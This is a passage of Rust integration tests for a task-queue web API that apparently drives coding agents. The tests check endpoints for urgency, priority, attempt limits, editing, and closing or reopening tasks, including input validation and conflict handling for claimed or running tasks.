18645                        Some(&format!("{{\"urgent\":{urgent}}}")),
18646                    )
18647                    .await;
18648                assert_eq!(response.status, 200, "{}", response.body);
18649                assert_eq!(response.json()["urgent"], urgent);
18650                let saved = q.get(&t.id).unwrap();
18651                let mut before = serde_json::to_value(&t).unwrap();
18652                let mut after = serde_json::to_value(saved).unwrap();
18653                before["urgent"] = urgent.into();
18654                before.as_object_mut().unwrap().remove("updated_at");
18655                after.as_object_mut().unwrap().remove("updated_at");
18656                assert_eq!(after, before);
18657            }
18658        }
18659        let route = format!("/api/queue/{}/urgent", t.id);
18660        for body in [
18661            r#"{}"#,
18662            r#"{"urgent":null}"#,
18663            r#"{"urgent":"true"}"#,
18664            r#"{"urgent":1}"#,
18665            r#"{"urgent":true,"extra":false}"#,
18666            "{",
18667        ] {
18668            assert_eq!(f.post(&route, Some(body)).await.status, 400);
18669        }
18670        t.status = TaskStatus::Queued;
18671        q.put(&mut t).unwrap();
18672        let claim = q.claim(&t.id).unwrap();
18673        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
18674        assert_eq!(response.status, 409, "{}", response.body);
18675        assert!(!q.get(&t.id).unwrap().urgent);
18676        drop(claim);
18677        for status in [
18678            TaskStatus::Running,
18679            TaskStatus::Done,
18680            TaskStatus::Failed,
18681            TaskStatus::Blocked,
18682            TaskStatus::Parked,
18683        ] {
18684            t.status = status;
18685            q.put(&mut t).unwrap();
18686            for urgent in [true, false] {
18687                let response = f
18688                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
18689                    .await;
18690                assert_eq!(response.status, 400, "{}", response.body);
18691                assert!(response.body.contains(status.as_str()));
18692                assert!(response.body.contains("queued or held"));
18693                assert!(!q.get(&t.id).unwrap().urgent);
18694            }
18695        }
18696        assert_eq!(
18697            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
18698                .await
18699                .status,
18700            404
18701        );
18702    }
18703
18704    #[test]
18705    fn immediate_request_requires_a_boolean_and_rejects_unknown_fields() {
18706        for immediate in [true, false] {
18707            let body: ImmediateBody =
18708                serde_json::from_value(serde_json::json!({ "immediate": immediate })).unwrap();
18709            assert_eq!(body.immediate, immediate);
18710        }
18711        for input in [
18712            r#"{}"#,
18713            r#"{"immediate":null}"#,
18714            r#"{"immediate":"true"}"#,
18715            r#"{"immediate":1}"#,
18716            r#"{"immediate":true,"extra":false}"#,
18717        ] {
18718            assert!(
18719                serde_json::from_str::<ImmediateBody>(input).is_err(),
18720                "{input}"
18721            );
18722        }
18723    }
18724
18725    #[tokio::test]
18726    async fn immediate_api_updates_preserves_urgent_returns_admission_and_validates_tasks() {
18727        let f = Fixture::start().await;
18728        let q = f.queue();
18729        let mut t = Task::new(
18730            "immediate API".into(),
18731            "unchanged".into(),
18732            PathBuf::from("/repo/magi"),
18733            Source::Human,
18734        );
18735        t.attempts = 2;
18736        t.priority = 9;
18737        t.interrupt = true;
18738        t.urgent = true;
18739        t.hold_reason = Some("waiting for approval".into());
18740        for status in [TaskStatus::Queued, TaskStatus::Held] {
18741            t.status = status;
18742            q.put(&mut t).unwrap();
18743            for immediate in [true, true, false, false] {
18744                let response = f
18745                    .post(
18746                        &format!("/api/queue/{}/immediate", t.short()),
18747                        Some(&format!("{{\"immediate\":{immediate}}}")),
18748                    )
18749                    .await;
18750                assert_eq!(response.status, 200, "{}", response.body);
18751                let payload = response.json();
18752                assert_eq!(payload["immediate"], immediate);
18753                assert_eq!(payload["urgent"], true);
18754                if immediate {
18755                    assert_eq!(payload["admission"]["mode"], "immediate");
18756                    let label = payload["admission"]["label"].as_str().unwrap_or_default();
18757                    assert!(
18758                        !label.contains("claimed by another process"),
18759                        "mutate must drop its claim before computing admission: {payload}"
18760                    );
18761                    if status == TaskStatus::Held {
18762                        assert_eq!(label, "Immediate: waiting — held (waiting for approval)");
18763                    }
18764                }
18765                let saved = q.get(&t.id).unwrap();
18766                let mut before = serde_json::to_value(&t).unwrap();
18767                let mut after = serde_json::to_value(saved).unwrap();
18768                before["immediate"] = immediate.into();
18769                before.as_object_mut().unwrap().remove("updated_at");
18770                after.as_object_mut().unwrap().remove("updated_at");
18771                assert_eq!(after, before);
18772            }
18773        }
18774        let route = format!("/api/queue/{}/immediate", t.id);
18775        for body in [
18776            r#"{}"#,
18777            r#"{"immediate":null}"#,
18778            r#"{"immediate":"true"}"#,
18779            r#"{"immediate":1}"#,
18780            r#"{"immediate":true,"extra":false}"#,
18781            "{",
18782        ] {
18783            assert_eq!(f.post(&route, Some(body)).await.status, 400);
18784        }
18785        t.status = TaskStatus::Queued;
18786        q.put(&mut t).unwrap();
18787        let claim = q.claim(&t.id).unwrap();
18788        let response = f.post(&route, Some(r#"{"immediate":true}"#)).await;
18789        assert_eq!(response.status, 409, "{}", response.body);
18790        assert!(!q.get(&t.id).unwrap().immediate);
18791        drop(claim);
18792        for status in [
18793            TaskStatus::Running,
18794            TaskStatus::Done,
18795            TaskStatus::Failed,
18796            TaskStatus::Blocked,
18797            TaskStatus::Parked,
18798        ] {
18799            t.status = status;
18800            q.put(&mut t).unwrap();
18801            for immediate in [true, false] {
18802                let response = f
18803                    .post(&route, Some(&format!("{{\"immediate\":{immediate}}}")))
18804                    .await;
18805                assert_eq!(response.status, 400, "{}", response.body);
18806                assert!(response.body.contains(status.as_str()));
18807                assert!(response.body.contains("queued or held"));
18808                assert!(!q.get(&t.id).unwrap().immediate);
18809            }
18810        }
18811        assert_eq!(
18812            f.post(
18813                "/api/queue/missing/immediate",
18814                Some(r#"{"immediate":true}"#)
18815            )
18816            .await
18817            .status,
18818            404
18819        );
18820    }
18821
18822    #[tokio::test]
18823    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
18824        let f = Fixture::start().await;
18825        let queue = f.queue();
18826        let mut older = Task::new(
18827            "filed first".to_owned(),
18828            "x".to_owned(),
18829            PathBuf::from("/repo/magi"),
18830            Source::Human,
18831        );
18832        older.id = "20260101-000001-aaaa".to_owned();
18833        let mut newer = Task::new(
18834            "filed second".to_owned(),
18835            "x".to_owned(),
18836            PathBuf::from("/repo/magi"),
18837            Source::Human,
18838        );
18839        newer.id = "20260101-000002-bbbb".to_owned();
18840        queue.put(&mut older).expect("file older");
18841        queue.put(&mut newer).expect("file newer");
18842
18843        // Equal priority: the newer task leads, the same order the old
18844        // newest-first `list()` already gave every equal-priority queue.
18845        let before = f.get("/api/queue").await.json();
18846        assert_eq!(before[0]["id"], newer.id);
18847        assert_eq!(before[1]["id"], older.id);
18848
18849        // Raising the *older* task is the meaningful case: it can only lead
18850        // now because its priority says so, not because it happens to be
18851        // newest.
18852        let raised = f
18853            .post(
18854                &format!("/api/queue/{}/priority", older.id),
18855                Some(r#"{"priority":10}"#),
18856            )
18857            .await;
18858        assert_eq!(raised.status, 200, "{}", raised.body);
18859        assert_eq!(raised.json()["priority"], 10);
18860
18861        let after = f.get("/api/queue").await.json();
18862        let names: Vec<&str> = after
18863            .as_array()
18864            .unwrap()
18865            .iter()
18866            .map(|t| t["id"].as_str().unwrap())
18867            .collect();
18868        // Highest priority first, which is the order next_runnable and
18869        // `magi task list` both use - GET /api/queue must agree with it
18870        // immediately, not just once the loop claims the task.
18871        assert_eq!(names[0], older.id, "the raised task now sorts first");
18872    }
18873
18874    #[tokio::test]
18875    async fn row_priorities_follow_dispatch_order_and_preserve_upgrade_lane() {
18876        let f = Fixture::start().await;
18877        let queue = f.queue();
18878        let mut tasks = Vec::new();
18879        for id in [
18880            "20260101-000001-aaaa",
18881            "20260101-000002-bbbb",
18882            "20260101-000003-cccc",
18883        ] {
18884            let mut task = Task::new(
18885                id.into(),
18886                "x".into(),
18887                PathBuf::from("/repo/magi"),
18888                Source::Human,
18889            );
18890            task.id = id.into();
18891            queue.put(&mut task).unwrap();
18892            tasks.push(task);
18893        }
18894        assert_eq!(
18895            queue.next_runnable().unwrap().id,
18896            tasks[0].id,
18897            "equal priorities use ascending id"
18898        );
18899        let route = format!("/api/queue/{}/priority", tasks[2].id);
18900        assert_eq!(f.post(&route, Some(r#"{"priority":1}"#)).await.status, 200);
18901        assert_eq!(queue.next_runnable().unwrap().id, tasks[2].id);
18902        tasks[1].start("upgrade-run".into());
18903        tasks[1].park("upgrade");
18904        tasks[1].record_pass_at(
18905            "upgrade-run",
18906            0,
18907            Some("2026-01-01T00:00:00Z".parse().unwrap()),
18908            1,
18909            Some(crate::run::ParkCause::Upgrade {
18910                from: "old".into(),
18911                to: None,
18912            }),
18913        );
18914        queue.put(&mut tasks[1]).unwrap();
18915        let rows = f.get("/api/queue").await.json();
18916        let upgrade = rows
18917            .as_array()
18918            .unwrap()
18919            .iter()
18920            .find(|row| row["id"] == tasks[1].id)
18921            .unwrap();
18922        assert_eq!(upgrade["upgrade_resume_at"], "2026-01-01T00:00:00Z");
18923        assert_eq!(queue.next_runnable().unwrap().id, tasks[1].id);
18924        tasks[2] = queue.get(&tasks[2].id).unwrap();
18925        tasks[2].start("running-run".into());
18926        queue.put(&mut tasks[2]).unwrap();
18927        assert_eq!(f.post(&route, Some(r#"{"priority":2}"#)).await.status, 400);
18928        assert_eq!(queue.get(&tasks[2].id).unwrap().priority, 1);
18929    }
18930
18931    #[tokio::test]
18932    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
18933        let dir = TempDir::new().unwrap();
18934        let q = Queue::at(dir.path().join("queue"));
18935        let ui = Arc::new(Ui::new(
18936            q.clone(),
18937            Questions::at(dir.path().join("questions")),
18938            Talks::at(dir.path().join("talks")),
18939            dir.path().join("runs"),
18940            dir.path().to_path_buf(),
18941            dir.path().to_path_buf(),
18942        ));
18943        let mut t = Task::new(
18944            "budget".into(),
18945            "keep".into(),
18946            dir.path().into(),
18947            Source::Human,
18948        );
18949        t.attempts = 2;
18950        t.runs.push("prior-run".into());
18951        t.hold_manual(Some("waiting".into()));
18952        q.put(&mut t).unwrap();
18953        let change = |value| {
18954            queue_attempt_limit(
18955                State(ui.clone()),
18956                Path(t.id.clone()),
18957                Ok(Json(AttemptLimitBody {
18958                    attempt_limit: value,
18959                })),
18960            )
18961        };
18962        for value in [
18963            serde_json::json!(3),
18964            serde_json::Value::Null,
18965            serde_json::json!(1),
18966        ] {
18967            let response = change(value.clone()).await.unwrap();
18968            assert_eq!(
18969                serde_json::to_value(response.0).unwrap()["attempt_limit"],
18970                value
18971            );
18972            let saved = q.get(&t.id).unwrap();
18973            assert_eq!(
18974                serde_json::to_value(&saved).unwrap()["attempt_limit"],
18975                value
18976            );
18977            assert_eq!(saved.status, TaskStatus::Held);
18978            assert_eq!(saved.attempts, t.attempts);
18979            assert_eq!(saved.runs, t.runs);
18980            assert_eq!(saved.hold_reason, t.hold_reason);
18981            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
18982                .await
18983                .unwrap()
18984                .0;
18985            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
18986            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
18987            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
18988            assert_eq!(outcome.max_attempts, detail.max_attempts);
18989        }
18990        for value in [
18991            serde_json::json!(0),
18992            serde_json::json!(-1),
18993            serde_json::json!(1.5),
18994            serde_json::json!("3"),
18995            serde_json::json!(true),
18996        ] {
18997            assert_eq!(
18998                change(value).await.err().unwrap().status,
18999                StatusCode::BAD_REQUEST
19000            );
19001        }
19002        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
19003        let claim = q.claim(&t.id).unwrap();
19004        assert_eq!(
19005            change(serde_json::json!(4)).await.err().unwrap().status,
19006            StatusCode::CONFLICT
19007        );
19008        drop(claim);
19009        for status in [
19010            TaskStatus::Running,
19011            TaskStatus::Done,
19012            TaskStatus::Failed,
19013            TaskStatus::Blocked,
19014            TaskStatus::Parked,
19015        ] {
19016            let mut stored = q.get(&t.id).unwrap();
19017            stored.status = status;
19018            q.put(&mut stored).unwrap();
19019            assert_eq!(
19020                change(serde_json::json!(4)).await.err().unwrap().status,
19021                StatusCode::BAD_REQUEST
19022            );
19023            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
19024        }
19025        let mut stored = q.get(&t.id).unwrap();
19026        stored.status = TaskStatus::Queued;
19027        q.put(&mut stored).unwrap();
19028        let _ = change(serde_json::Value::Null).await.unwrap();
19029        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
19030    }
19031
19032    #[tokio::test]
19033    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
19034        let dir = TempDir::new().unwrap();
19035        let repo = dir.path().join("repo");
19036        std::fs::create_dir(&repo).unwrap();
19037        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
19038        let q = Queue::at(dir.path().join("queue"));
19039        let ui = Arc::new(Ui::new(
19040            q.clone(),
19041            Questions::at(dir.path().join("questions")),
19042            Talks::at(dir.path().join("talks")),
19043            dir.path().join("runs"),
19044            dir.path().to_path_buf(),
19045            repo.clone(),
19046        ));
19047        let mut t = Task::new(
19048            "seats".into(),
19049            "keep instruction".into(),
19050            repo,
19051            Source::Human,
19052        );
19053        t.runs.push("prior-run".into());
19054        t.hold_manual(Some("waiting".into()));
19055        q.put(&mut t).unwrap();
19056        let change = |count| {
19057            queue_implementers(
19058                State(ui.clone()),
19059                Path(t.id.clone()),
19060                Ok(Json(ImplementersBody {
19061                    implementers: count,
19062                })),
19063            )
19064        };
19065        for count in [2, 1, 2] {
19066            let response = change(count).await.unwrap();
19067            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
19068            let saved = q.get(&t.id).unwrap();
19069            assert_eq!(saved.implementers(), Some(usize::from(count)));
19070            assert_eq!(saved.runs, t.runs);
19071            assert_eq!(saved.instruction, t.instruction);
19072        }
19073        for count in [0, 4] {
19074            assert_eq!(
19075                change(count).await.err().unwrap().status,
19076                StatusCode::BAD_REQUEST
19077            );
19078        }
19079        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
19080        let claim = q.claim(&t.id).unwrap();
19081        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
19082        drop(claim);
19083        for status in [
19084            TaskStatus::Running,
19085            TaskStatus::Done,
19086            TaskStatus::Failed,
19087            TaskStatus::Blocked,
19088            TaskStatus::Parked,
19089        ] {
19090            let mut stored = q.get(&t.id).unwrap();
19091            stored.status = status;
19092            q.put(&mut stored).unwrap();
19093            assert_eq!(
19094                change(1).await.err().unwrap().status,
19095                StatusCode::BAD_REQUEST
19096            );
19097            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
19098        }
19099    }
19100
19101    #[tokio::test]
19102    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
19103        let f = Fixture::start().await;
19104        let queue = f.queue();
19105        let mut task = Task::new(
19106            "in flight".to_owned(),
19107            "x".to_owned(),
19108            PathBuf::from("/repo/magi"),
19109            Source::Human,
19110        );
19111        task.start("20260902-140502-bbbb".to_owned());
19112        queue.put(&mut task).expect("file the task");
19113
19114        let res = f
19115            .post(
19116                &format!("/api/queue/{}/priority", task.id),
19117                Some(r#"{"priority":9}"#),
19118            )
19119            .await;
19120        assert_eq!(res.status, 400, "{}", res.body);
19121        assert!(
19122            res.json()["error"]
19123                .as_str()
19124                .is_some_and(|e| e.contains("running")),
19125            "{}",
19126            res.body
19127        );
19128        assert_eq!(
19129            queue.get(&task.id).expect("reload").priority,
19130            0,
19131            "the refused write must not partially apply"
19132        );
19133    }
19134
19135    #[tokio::test]
19136    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
19137        let f = Fixture::start().await;
19138        let queue = f.queue();
19139        let mut task = Task::new(
19140            "old title".to_owned(),
19141            "old instruction".to_owned(),
19142            PathBuf::from("/repo/magi"),
19143            Source::Agent {
19144                run: "20260101-000000-beef".to_owned(),
19145                node: "implement".to_owned(),
19146            },
19147        );
19148        task.runs.push("20260101-000000-beef".to_owned());
19149        queue.put(&mut task).expect("file the task");
19150        let created_at = task.created_at;
19151
19152        let edited = f
19153            .post(
19154                &format!("/api/queue/{}/edit", task.id),
19155                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
19156            )
19157            .await;
19158        assert_eq!(edited.status, 200, "{}", edited.body);
19159        let body = edited.json();
19160        assert_eq!(body["title"], "new title");
19161        assert_eq!(body["instruction"], "new instruction");
19162        assert_eq!(body["id"], task.id, "editing must not mint a new id");
19163        assert_eq!(body["created_at"], created_at.to_string());
19164        assert_eq!(
19165            body["source"]["kind"], "agent",
19166            "editing a task an agent filed must not turn it human: {body}"
19167        );
19168        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
19169
19170        let reloaded = queue.get(&task.id).expect("reload");
19171        assert_eq!(reloaded.title, "new title");
19172        assert_eq!(reloaded.instruction, "new instruction");
19173    }
19174
19175    #[tokio::test]
19176    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
19177        // The judge is an agent now: a repo whose only agent answers
19178        // "duplicate" stands in for it, so the refusal is the judge's.
19179        let tmp = TempDir::new().expect("tempdir");
19180        let repo = tmp.path().join("repo");
19181        std::fs::create_dir_all(&repo).expect("repo dir");
19182        let judge = MOCK_AGENT_TOML.replace(
19183            "printf ok",
19184            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
19185        );
19186        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
19187        let f = Fixture::with_repo(repo.clone()).await;
19188        let queue = f.queue();
19189        let mut owner = Task::new(
19190            "owner".to_owned(),
19191            "review it".to_owned(),
19192            repo.clone(),
19193            Source::Human,
19194        );
19195        owner.review_branch = Some("magi/ab12/A".to_owned());
19196        queue.put(&mut owner).expect("file the owner");
19197        let mut task = Task::new(
19198            "draft".to_owned(),
19199            "old".to_owned(),
19200            repo.clone(),
19201            Source::Human,
19202        );
19203        queue.put(&mut task).expect("file the draft");
19204        let url = format!("/api/queue/{}/edit", task.id);
19205
19206        let refused = f
19207            .post(
19208                &url,
19209                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
19210            )
19211            .await;
19212        assert_eq!(refused.status, 409, "{}", refused.body);
19213        let msg = refused.json()["error"]
19214            .as_str()
19215            .unwrap_or_default()
19216            .to_owned();
19217        assert!(
19218            msg.contains("magi/ab12/A") && msg.contains("force"),
19219            "{msg}"
19220        );
19221        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
19222
19223        let forced = f
19224            .post(
19225                &url,
19226                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
19227            )
19228            .await;
19229        assert_eq!(forced.status, 200, "{}", forced.body);
19230    }
19231
19232    #[tokio::test]
19233    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
19234        let f = Fixture::start().await;
19235        let queue = f.queue();
19236        let mut task = Task::new(
19237            "in flight".to_owned(),
19238            "do not touch".to_owned(),
19239            PathBuf::from("/repo/magi"),
19240            Source::Human,
19241        );
19242        task.start("20260902-140502-bbbb".to_owned());
19243        queue.put(&mut task).expect("file the task");
19244
19245        let res = f
19246            .post(
19247                &format!("/api/queue/{}/edit", task.id),
19248                Some(r#"{"title":"x","instruction":"y"}"#),
19249            )
19250            .await;
19251        assert_eq!(res.status, 400, "{}", res.body);
19252        assert!(
19253            res.json()["error"]
19254                .as_str()
19255                .is_some_and(|e| e.contains("running")),
19256            "{}",
19257            res.body
19258        );
19259        assert_eq!(
19260            queue.get(&task.id).expect("reload").instruction,
19261            "do not touch",
19262            "the refused edit must not change the file"
19263        );
19264    }
19265
19266    #[tokio::test]
19267    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
19268        let f = Fixture::start().await;
19269        let queue = f.queue();
19270        let mut task = Task::new(
19271            "busy".to_owned(),
19272            "Running right now".to_owned(),
19273            PathBuf::from("/repo/magi"),
19274            Source::Human,
19275        );
19276        queue.put(&mut task).expect("file the task");
19277        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
19278
19279        let priority = f
19280            .post(
19281                &format!("/api/queue/{}/priority", task.id),
19282                Some(r#"{"priority":9}"#),
19283            )
19284            .await;
19285        assert_eq!(priority.status, 409, "{}", priority.body);
19286
19287        let edit = f
19288            .post(
19289                &format!("/api/queue/{}/edit", task.id),
19290                Some(r#"{"title":"x","instruction":"y"}"#),
19291            )
19292            .await;
19293        assert_eq!(edit.status, 409, "{}", edit.body);
19294    }
19295
19296    #[tokio::test]
19297    async fn web_completion_distinguishes_missing_and_claimed_tasks() {
19298        let f = Fixture::start().await;
19299        let queue = f.queue();
19300        let mut task = Task::new(
19301            "claimed".into(),
19302            "leave unchanged".into(),
19303            f.home.path().into(),
19304            Source::Human,
19305        );
19306        queue.put(&mut task).unwrap();
19307        let _claim = queue.claim(&task.id).unwrap();
19308        for (action, body) in [("done", None), ("reopen", Some(r#"{"reason":"inspect"}"#))] {
19309            let missing = f.post(&format!("/api/queue/missing/{action}"), body).await;
19310            assert_eq!(missing.status, 404, "{}", missing.body);
19311            assert!(missing.json()["error"].as_str().unwrap().contains("task"));
19312
19313            let busy = f
19314                .post(&format!("/api/queue/{}/{action}", task.short()), body)
19315                .await;
19316            assert_eq!(busy.status, 409, "{}", busy.body);
19317            assert!(busy.json()["error"].as_str().unwrap().contains("claimed"));
19318        }
19319        let unchanged = queue.get(&task.id).unwrap();
19320        assert_eq!(unchanged.status, TaskStatus::Queued);
19321        assert!(unchanged.completion_history.is_empty());
19322    }
19323
19324    #[test]
19325    fn web_completion_reports_a_stale_commit_as_a_conflict() {
19326        let home = TempDir::new().unwrap();
19327        let queue = Queue::at(home.path().join("queue"));
19328        let mut current = Task::new(
19329            "stale".into(),
19330            "original".into(),
19331            home.path().into(),
19332            Source::Human,
19333        );
19334        queue.put(&mut current).unwrap();
19335        let expected = current.clone();
19336        current.instruction = "updated".into();
19337        queue.put(&mut current).unwrap();
19338
19339        let mut decision = expected.clone();
19340        decision.status = TaskStatus::Done;
19341        let error = queue
19342            .commit_completion(&mut decision, &expected)
19343            .unwrap_err();
19344        assert_eq!(ApiError::completion(error).status, StatusCode::CONFLICT);
19345        let saved = queue.get(&current.id).unwrap();
19346        assert_eq!(saved.status, TaskStatus::Queued);
19347        assert_eq!(saved.instruction, "updated");
19348    }
19349
19350    #[tokio::test]
19351    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
19352        let f = Fixture::start().await;
19353        let queue = f.queue();
19354        let mut task = Task::new(
19355            "shipped by hand".to_owned(),
19356            "merged outside the loop".to_owned(),
19357            PathBuf::from("/repo/magi"),
19358            Source::Agent {
19359                run: "20260101-000000-b455".to_owned(),
19360                node: "implement".to_owned(),
19361            },
19362        );
19363        task.runs.push("20260101-000000-b455".to_owned());
19364        task.runs.push("20260101-000000-9af4".to_owned());
19365        queue.put(&mut task).expect("file the task");
19366        let created_at = task.created_at;
19367
19368        let done = f
19369            .post(
19370                &format!("/api/queue/{}/done", task.id),
19371                Some(r#"{"discard":true,"reason":"owner cancelled retained work"}"#),
19372            )
19373            .await;
19374        assert_eq!(done.status, 200, "{}", done.body);
19375        assert_eq!(done.json()["status_str"], "done");
19376
19377        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
19378        assert_eq!(
19379            reloaded.runs,
19380            ["20260101-000000-b455", "20260101-000000-9af4"]
19381        );
19382        assert_eq!(
19383            reloaded.source,
19384            Source::Agent {
19385                run: "20260101-000000-b455".to_owned(),
19386                node: "implement".to_owned(),
19387            }
19388        );
19389        assert_eq!(reloaded.created_at, created_at);
19390        let event = reloaded
19391            .completion_history
19392            .last()
19393            .expect("completion audit");
19394        assert_eq!(event.actor, crate::queue::CompletionActor::Web);
19395        assert!(event.discard);
19396        assert_eq!(
19397            event.reason.as_deref(),
19398            Some("owner cancelled retained work")
19399        );
19400        let detail = f.get(&format!("/api/queue/{}", task.id)).await;
19401        assert_eq!(
19402            detail.json()["completion_history"][0]["occurrence"],
19403            event.occurrence
19404        );
19405    }
19406
19407    #[tokio::test]
19408    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
19409        // Explicit discard may close held work without a release; the current
19410        // hold clears while the completion audit preserves its prior status.
19411        let f = Fixture::start().await;
19412        let queue = f.queue();
19413        let mut task = Task::new(
19414            "landed while held".to_owned(),
19415            "x".to_owned(),
19416            PathBuf::from("/repo/magi"),
19417            Source::Human,
19418        );
19419        task.hold_manual(Some("waiting on 3ed9".to_owned()));
19420        queue.put(&mut task).expect("file the held task");
19421
19422        let done = f
19423            .post(
19424                &format!("/api/queue/{}/done", task.id),
19425                Some(r#"{"discard":true,"reason":"no longer needed"}"#),
19426            )
19427            .await;
19428        assert_eq!(done.status, 200, "{}", done.body);
19429        assert_eq!(done.json()["status_str"], "done");
19430        assert!(
19431            done.json()["hold_reason"].is_null(),
19432            "a done task cannot still be waiting on something: {}",
19433            done.body
19434        );
19435    }
19436
19437    #[tokio::test]
19438    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
19439        // `queue_done` is the phone's way to close a task the loop never
19440        // settled itself - after confirming a manual GitHub merge, say - and
19441        // that is just as much "this task's story is over" as the loop's own
19442        // `Merged` path, so it must trigger the same cleanup.
19443        let f = Fixture::start().await;
19444        let queue = f.queue();
19445        let runs = f.runs();
19446        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
19447        // The last attempt has to have actually landed for the earlier one
19448        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
19449        // for the case where it didn't.
19450        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
19451
19452        let mut task = Task::new(
19453            "landed by hand".to_owned(),
19454            "x".to_owned(),
19455            PathBuf::from("/repo/magi"),
19456            Source::Human,
19457        );
19458        task.runs.push("20260101-000000-doa1".to_owned());
19459        task.runs.push("20260101-000000-doa2".to_owned());
19460        let mut landed = read_run(&runs, "20260101-000000-doa2").unwrap();
19461        landed.task_instruction = Some(task.instruction.clone());
19462        landed.task_instruction_rev = Some(task.instruction_rev);
19463        landed.merge = Some(crate::run::MergeOutcome {
19464            mode: crate::config::MergeMode::Pr,
19465            ok: true,
19466            detail: "confirmed merge".into(),
19467            empty: false,
19468        });
19469        write_state(&runs, &landed);
19470        queue.put(&mut task).expect("file the task");
19471
19472        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
19473        assert_eq!(done.status, 200, "{}", done.body);
19474
19475        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
19476            .expect("run still on disk under this fixture's own home");
19477        assert_eq!(
19478            reloaded_run.status,
19479            RunStatus::Superseded,
19480            "closing the task by hand must relabel the earlier blocked attempt exactly \
19481             like the loop's own settle path does"
19482        );
19483    }
19484
19485    #[tokio::test]
19486    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
19487        // Intentional discard preserves unsuccessful runs as unsuccessful:
19488        // closing the task does not claim they were delivered or superseded.
19489        let f = Fixture::start().await;
19490        let queue = f.queue();
19491        let runs = f.runs();
19492        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
19493        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
19494
19495        let mut task = Task::new(
19496            "closed with nothing actually landed".to_owned(),
19497            "x".to_owned(),
19498            PathBuf::from("/repo/magi"),
19499            Source::Human,
19500        );
19501        task.runs.push("20260101-000000-dob1".to_owned());
19502        task.runs.push("20260101-000000-dob2".to_owned());
19503        queue.put(&mut task).expect("file the task");
19504
19505        let done = f
19506            .post(
19507                &format!("/api/queue/{}/done", task.id),
19508                Some(r#"{"discard":true,"reason":"stop this work"}"#),
19509            )
19510            .await;
19511        assert_eq!(done.status, 200, "{}", done.body);
19512
19513        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
19514            .expect("run still on disk under this fixture's own home");
19515        assert_eq!(
19516            reloaded_run.status,
19517            RunStatus::Blocked,
19518            "the last recorded attempt never landed, so the earlier one must not be \
19519             relabelled as superseded by it"
19520        );
19521    }
19522
19523    #[tokio::test]
19524    async fn web_completion_requires_discard_and_reopens_to_held_with_an_audit() {
19525        let f = Fixture::start().await;
19526        let queue = f.queue();
19527        let mut task = Task::new(
19528            "unstarted".into(),
19529            "keep its history".into(),
19530            PathBuf::from("/repo/magi"),
19531            Source::Human,
19532        );
19533        write_run(&f.runs(), "20260101-000000-aud1", RunStatus::Failed);
19534        task.runs.push("20260101-000000-aud1".into());
19535        queue.put(&mut task).unwrap();
19536        let path = format!("/api/queue/{}/done", task.id);
19537        let refused = f.post(&path, None).await;
19538        assert_eq!(refused.status, 400, "{}", refused.body);
19539        let blank = f
19540            .post(&path, Some(r#"{"discard":true,"reason":" "}"#))
19541            .await;
19542        assert_eq!(blank.status, 400, "{}", blank.body);
19543        assert!(blank.body.contains("--discard requires a non-empty reason"));
19544        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Queued);
19545        assert!(queue.get(&task.id).unwrap().completion_history.is_empty());
19546        let closed = f
19547            .post(
19548                &path,
19549                Some(r#"{"discard":true,"reason":"owner stopped work"}"#),
19550            )
19551            .await;
19552        assert_eq!(closed.status, 200, "{}", closed.body);
19553        let reopen_path = format!("/api/queue/{}/reopen", task.id);
19554        let no_reason = f.post(&reopen_path, Some(r#"{"reason":" "}"#)).await;
19555        assert_eq!(no_reason.status, 400, "{}", no_reason.body);
19556        let reopened = f
19557            .post(&reopen_path, Some(r#"{"reason":"premature closure"}"#))
19558            .await;
19559        assert_eq!(reopened.status, 200, "{}", reopened.body);
19560        let saved = queue.get(&task.id).unwrap();
19561        assert_eq!(saved.status, TaskStatus::Held);
19562        assert_eq!(saved.completion_history.len(), 2);
19563        let event = &saved.completion_history[1];
19564        assert_eq!(event.action, crate::queue::CompletionAction::Reopen);
